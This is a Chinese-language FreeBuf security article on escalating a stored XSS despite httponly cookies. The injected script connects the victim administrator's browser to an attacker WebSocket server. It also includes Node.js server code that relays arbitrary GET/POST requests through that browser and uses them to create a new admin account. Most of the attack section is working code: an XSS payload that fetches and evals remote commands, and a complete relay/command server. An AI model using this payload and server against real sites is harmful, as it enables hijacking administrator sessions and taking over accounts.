freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

httponly扩大成果之Websocket源码映射
2020-08-19 15:09:31

0x00 前言

在黑盒测试的XSS中,谈起httponly确实是一个让人非常头疼的问题,它保护了管理员的cookie信息。笔者感觉分析后台源码然后构造新的XSS的Payload,通过Ajax来添加管理员用户,是一种非常稳的选择。但是这是要考验攻击者的JavaScript水平了,如果Js中再给你来几层有趣的加密,那攻击者就该一步一步解密后再一步一步进行Js审计,而且XSS获取源码只是一次性的,而没有审计到关键的代码等同于此次XSS只能做后续XSS的铺垫,继续XSS,继续等管理员上钩,构造Payload,发送XSS的Payload,再等管理员上钩,想想就头大,白帽子的两行泪流出来了有木有。

那么本篇文章可以让你连Js都不需要去审计,手动Payload更不需要,就可以让管理员轻松发送”添加管理员”的XSS Payload。

0x01 普通的XSS获取源码信息

我们看一下普通XSS获取源码信息的Payload

这是笔者在百度中搜索到的,可以了解到获取源码只是发送ajax请求,然后得到源码给攻击者服务器端。

因为HTTP协议只有发送与接收,如果我们想要一劳永逸(一次XSS即可完成),那么我们不妨利用一下WebSocket。

0x02 WebSocket获取多个页面

那我们放到这里仔细想一想,如果我们通过 WebSocket 让  管理员的浏览器  与  攻击者的服务器  进行一次链接,此时我们扭转身份,让  管理员浏览器  作为  攻击者服务器  的服务端,随后  攻击者服务器  多次要求  管理员浏览器  发送源码,这样是不是就达到了一次XSS多个页面的效果。

什么?还不明白,那看下面这张图。

此时B为WebSocket,A为受害者,C为攻击者,C多次要求A来拿钱(源码)给我,这个时候WebSocket就成为了中间人的身份。它是受害者与攻击者的一个桥梁(脱离了HTTP协议的TCP)。

0x03 WebSocket源码映射思路

既然可以获取多个页面,而我们又不喜欢进行Js审计(这明明是笔者不喜欢),然后手动构造Payload,我们喜欢轻松的感觉。那干脆就在源码上进行fuzz操作吧(本地fuzz毛线啊)。

这里笔者稍微怼一下你们(明明是自娱自乐),笔者先把思维导图贴一下。

也就是说,我们可以获取多个源码信息,然后将目标的所有CSS与JS通过外联的方式引入进来,因为CSS样式与JS对于我们都非常重要。然后本地再去源码中找一下有没有”添加管理员”的功能,因为各种Js与Css都引入进来了,那么就可以发送表单请求。然后我们通过Fuzz找到“添加管理员”功能后,通过fuzz来添加用户,而WebSocket告诉管理员的浏览器:“我要发送一个添加管理员的Ajax请求”。随后管理员浏览器去发送。这样下来连Js审计都不需要了。

0x04 WebSocket源码映射实现

当然了,我们纸上谈兵没有什么用的,下边我们一起实现一下吧~

WebSocket XSS Payload:

<script>
var ws = new WebSocket('ws://127.0.0.1:5555/');   //攻击者的websocket
ws.addEventListener('message', (data) => {
try {
eval(data.data);
}catch(e){
console.log('代码执行错误');
}
});
</script>

这里笔者使用nodeJs编写的服务端。这里其实也有原因的,因为nodeJs支持一个文件多个端口,其次路由可以自由指定,非常舒服。所以笔者这里使用的是nodeJs。

服务端代码:

let ws = require('nodejs-websocket');
let http = require('http');
let url = require('url');
let resStr = '';

let server = ws.createServer(connect => {
connect.send(createString('GET', `'+location.href+'`));
connect.on('text', (data) => {
resStr = data;
});
connect.on('error', () => {});
connect.on('close', () => {});
});
server.listen(5555);

let httpServer = http.createServer((request, response) => {
if(request.url == '/favicon.ico'){
return;
}
response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});
if(url.parse(request.url).pathname == '/heihu577'){
let querystring = url.parse(request.url, true);
let cmd = querystring.query.cmd;
console.log(querystring.query);
if(cmd != ''){
guangbo(cmd);
}
}else if(request.method.toLowerCase() == 'get'){
guangbo(createString('GET', request.url));
response.end(resStr);
}else if(request.method.toLowerCase() == 'post'){
let tmpStr = '';
request.addListener('data', (chunk) => {
tmpStr += chunk;
});
request.addListener('end', () => {
guangbo(createString('POST', request.url, tmpStr));
response.end(resStr);
});
}
response.end('ok');
});
httpServer.listen(6666);

function guangbo(data){
server.connections.forEach(item => {
item.send(data);
});
}

function createString(method, url, options = ''){
switch(method){
case 'GET':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.send(null);xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText.replace(/<(script|link)(.+?)(href|src)=(["|'])(?!http)(.+?)["|'](.*?)>/gm,\`<$1$2$3=$4\${window.location.protocol+"//"+window.location.host+"/"}$5$4$6>\`));}}`;
break;
case 'POST':
str = `let xml = new XMLHttpRequest();xml.open('${method}', '${url}');xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xml.send('${options}');xml.onreadystatechange=function(){if(this.status=='200'&&this.readyState=='4'){ws.send(this.responseText);}}`;
break;
}
return str;
}

请注意这里引用了nodeJs外部的nodejs-websocket包,使用 npm install nodejs-websocket --save命令安装即可。

这里就随便找一套程序吧,这里笔者使用的程序是HYBBS。因为之前通读完没有删除代码。

映射演示:

这里不知道某些原因,访问要访问的页面需要访问两次。

添加用户测试:

唯一缺点就是,当管理员关闭当前页面则源码无法获取。

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者